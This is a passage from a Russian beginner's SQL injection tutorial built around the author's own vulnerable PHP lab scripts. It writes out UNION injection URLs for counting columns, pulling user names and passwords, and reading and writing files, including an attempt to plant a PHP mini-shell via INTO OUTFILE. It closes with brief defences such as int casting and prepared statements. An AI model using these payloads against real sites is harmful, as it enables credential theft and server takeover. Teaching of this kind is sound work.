Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.